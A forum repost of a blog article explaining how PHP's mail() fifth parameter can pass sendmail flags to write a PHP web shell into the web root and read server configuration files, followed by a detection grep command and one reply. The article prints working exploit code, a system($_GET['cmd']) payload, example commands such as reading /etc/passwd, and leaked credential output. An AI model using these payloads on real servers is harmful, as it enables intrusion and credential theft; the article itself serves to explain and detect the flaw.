Jump to content
Nytro

Exploit PHP’s mail() to get remote code execution

Recommended Posts

Posted (edited)

Exploit PHP’s mail() to get remote code execution

September 3, 2014

While searching around the web for new nifty tricks I stumbled across this post about how to get remote code exeution exploiting PHP’s mail() function.

Update: After some further thinking and looking into this even more, I’ve found that my statement about this only being possible in really rare cases was wrong. Since this can also be exploited in other scenarios which is much more common than I first thought. So, instead of removing content, I added a strike through on the statements that’s no longer valid, and updated with a 2nd scenario explanation.

First, I must say that this is only going to happen under some really rare circustances. Never the less, it’s really something to think about and keep an eye out for. I will explain an example scenario which I think could be a real life scenario later in this article.

So, when that’s said, let’s have a look at what this is all about.

When using PHP to send emails we can use PHP’s built in function mail(). This function takes a total of five parameters.

  1. To
  2. Subject
  3. Message
  4. Headers (Optional)
  5. Parameters (Optional)

This looks pretty innocent at first glance, but if this is used wrong it can be really bad. The parameter of interest is the 5th and last one, so let’s have a look at what the PHP manual has to say about it.

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This is really interesting. In short, this say that we can alter the behavior of the sendmail application.

Update: I should have added this from the beginning, but just to make this clear: The fifth argument is disabled when PHP is running in safe mode

mail() In safe mode, the fifth parameter is disabled. (note: only affected since PHP 4.2.3)

Source:

Now, let’s have a look at the sendmail manual. I’m not going to post the entire manual here, but I will highlight some of the interesting parts.

Some interesting parameters

-O option=value

Set option option to the specified value. This form uses long names.

-Cfile

Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

-X logfile

Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Some interesting options

QueueDirectory=queuedir

Select the directory in which to queue messages.

So how can this be exploited?

Remote Code Execution

As stated above, this only occurs under very specific circumstances. For this to be exploitable, the user has to be able to control what goes into the 5th parameter, which does not make sense at all that anyone would do it. But it’s still something that really should be kept in mind by developers.

With that said, let’s just dive into it!

This is the code for exploiting the mail() function

$to = 'a@b.c'; 

$subject = '<?php system($_GET["cmd"]); ?>';

$message = '';

$headers = '';

$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';

mail($to, $subject, $message, $headers, $options);

Let’s inspect the logs from this. First let’s have a look at what we can see in the browser by only going to the rce.php file

11226 <<< To: a@b.c

11226 <<< Subject:

11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php

11226 <<<

Nothing really scary to see in this log. Now, let’s use the cat command in the terminal on the same file

> cat rce.php

11226 <<< To: a@b.c

11226 <<< Subject: <?php system($_GET["cmd"]); ?>

11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php

11226 <<<

See anything a bit more interesting? Let’s try to execute some commands.

I visit http://localhost/rce.php?cmd=ls%20-la and get the following output

11226 <<< To: a@b.c

11226 <<< Subject: total 20

drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .

drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..

-rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php

-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php

-rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php

11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php

11226 <<<

11226 <<<

11226 <<<

11226 <<< [EOF]

Now, let me break it down in case you don’t fully understand the code

The first four variables is pretty straight forward. We set the recipient email address to some bogus address, then in the subject we inject the PHP code that will be executing our commands on the system, followed by empty message and headers.

Then on the fith variable is where the magic happens. The $options variable holds a string that will let us write our malicious code get remote code execution to the server.

First we change the mail queue directory to /tmp using the -O argument with the QueueDirectory option. The reason why we want it there is because this is globally writable.

Second the path and filename for the log is changed to /var/www/html/rce.php using the -X argument. Keep in mind that this path will not always be the same. You will have to craft this to fit the targets file system.

If we now point our browser at http://example.com/rce.php it will display the log for the attempted delivery. But since we added the PHP code to the $subject variable, we can now add the following query ?cmd=[some command here]. For example http://example.com/rce.php?cmd=cat%20/etc/passwd.

If you want you could also create a Local/Remote File Inclusion vulnerability as well. To do this, just change system() to include(). This can be handy if wget is not available, or you’re not able to include a remote web shell.

It’s also important to know, that it’s not only the subject field that can be used to inject arbitrary code. The content of all the fields, except the fifth, is written to the log.

Read files on the server

Another way to exploit this is to directly read files on the server. This can be done by using the -C argument as shown above.

I have made a dummy configuration file just to show how it works

$to = ‘a@b.c';

$subject = '';

$message = '';

$headers = '';

$options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php';

mail($to, $subject, $message, $headers, $options);

This creates a file named evil.php with the following content

11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"

11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';"

11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';"

11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';"

11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';"

11124 >>> No local mailer defined

Now we have managed to extract very sensitive data, and there’s a lot of other things we can extract from the server.

A real-life scenario where this can become a reality

Scenario #1: Admin panel

To be honest I actually had to think for this for a file. I mean, who would be so stupid that they let their users control the sendmail parameters. Well, it really doesn’t have to be that stupid. So consider this following scenario.

You have an admin panel for your website. Just like every other admin panel with respect for itself it let’s your set different settings for sending emails. Stuff like port, smtp, etc. But not only that, this administration panel actually let’s you monitor your mail logs, and you can decide where to store the logs. Suddenly the idea of the values of the 5th parameter being controlled by an end user doesn’t sound that stupid anymore.

You would of course not let this be modified from the contact form icon_smile.gif But admins wouldn’t hack their own site would they..

So in combination with other attacks that results in unauthorized access, this can become a real threat since you can actually create vulnerabilities that was not originally in the application.

Scenario #2: Email service

The idea around this scenario spawned from the original post linked to in the beginning of the article. So, let’s consider we are running a website where a person can send an email to a recipient. In this case, the user must manually set the from address. Now, in the code we use the -f argument along with the user inputted from address.

Now if this from field is poorly validated and sanitized the user can continue writing the required arguments and values directly.

How to detect a possible vulnerability

The fastes way to detect any possibility for this in code is to use Linux’s grep command, and recursively look for any use of mail() with all 5 parameters in use.

Position yourself in the root of whatever project you want to check and execute the following command. This will return all code lines that uses mail() with five parameters.

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

There will probably be some false positives, so if you have any suggestions to improve this to make it even more accurate, please let me know!

Summary

This is not something that you will stumble across often. To be honest I don’t expect to ever see this in the wild at all, though it would be really cool to do so, but you never know as explained in the “real-life scenario” section. Still, I do find this to be really interesting, and it makes you think “what other PHP functions can do this?”

I hope you enjoyed the article and if you have any comments you know what to do icon_smile.gif

Sursa: Exploit PHP’s mail() to get remote code execution | Security Sucks

Edited by Nytro
Posted

Eu nu prea ii vad utilitatea.

Daca ai posibilitatea sa rulezi php pe server, ce mai te chinui sa treci prin sendmail, oricum este lansat cu userul tau php-ul... Daca esti in safe mode oricum nu merge, daca esti in jail poate sa zici ca poti sa incluzi ceva care oricum este citibil in general.

Poate doar asa ca nuanta o metoda de file inclusion...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...